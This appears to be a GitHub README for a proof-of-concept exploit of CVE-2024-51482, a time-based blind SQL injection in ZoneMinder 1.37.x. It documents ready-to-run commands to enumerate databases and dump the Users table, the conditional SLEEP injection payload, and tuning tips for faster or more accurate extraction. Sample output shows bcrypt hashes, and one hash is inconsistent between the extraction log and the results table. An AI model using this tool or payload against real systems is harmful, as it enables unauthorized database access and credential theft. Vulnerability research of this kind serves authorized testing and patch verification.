plur1bu5/cve-2024-51482-pocAuthenticated time-based blind SQL injection PoC for ZoneMinder CVE-2024-51482 (v1.37.* <= 1.37.64)
Authenticated time-based blind SQL injection exploit for ZoneMinder v1.37. <= 1.37.64*
This is a proof-of-concept exploit for CVE-2024-51482, a time-based blind SQL injection vulnerability in ZoneMinder's event management functionality. The exploit requires authentication and uses conditional SLEEP queries to extract data from the database.
pip install requests
python3 poc.py -t example.local -u admin -p password
python3 poc.py -t example.local --cookie 'ZMSESSID_value'
python3 poc.py -t example.local -u admin -p password -v
python3 poc.py -t example.local -u admin -p password --dbs
python3 poc.py -t example.local -u admin -p password -D zm --tables
python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns
python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump
Required:
-t, --target TARGET Target URL (IP, hostname, or full URL)
Authentication:
-u, --username USERNAME Username for authentication
-p, --password PASSWORD Password for authentication
--cookie COOKIE Session cookie (ZMSESSID)
Enumeration:
--dbs Enumerate databases
-D, --database DATABASE Database to use
--tables Enumerate tables
-T, --table TABLE Table to use
--columns Enumerate columns
--dump Dump table data
Performance:
--delay DELAY Time delay in seconds (default: 3, safe)
--threads THREADS Number of threads (default: 5, safe)
-v, --verbose Show extraction progress
python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5
python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20
[*] Target: http://example.local
[*] Delay: 3s | Threads: 5
[+] Authenticated as admin
[*] Testing vulnerability...
[+] Target is VULNERABLE!
[*] Default mode: Dumping zm.Users credentials...
[*] Dumping data from 'zm.Users'...
[+] Extracted: admin
[+] Extracted: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extracted: john
[+] Extracted: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.
====================================================================================
| Username | Password |
====================================================================================
| admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================
[+] 2 entries dumped
The exploit uses conditional SLEEP:
1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)
If you get wrong characters (e.g., $ becomes 8):
# Increase delay and reduce threads
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3
If extraction is too slow:
# Decrease delay and increase threads (may reduce accuracy)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10
If default zm.Users doesn't exist:
# Enumerate databases first
python3 poc.py -t example.local -u admin -p password --dbs
# Then enumerate tables
python3 poc.py -t example.local -u admin -p password -D database_name --tables
This tool is for educational and authorized security testing purposes only.
This project is provided for educational purposes only. Use responsibly and ethically.
⭐ If you find this useful, please star the repository!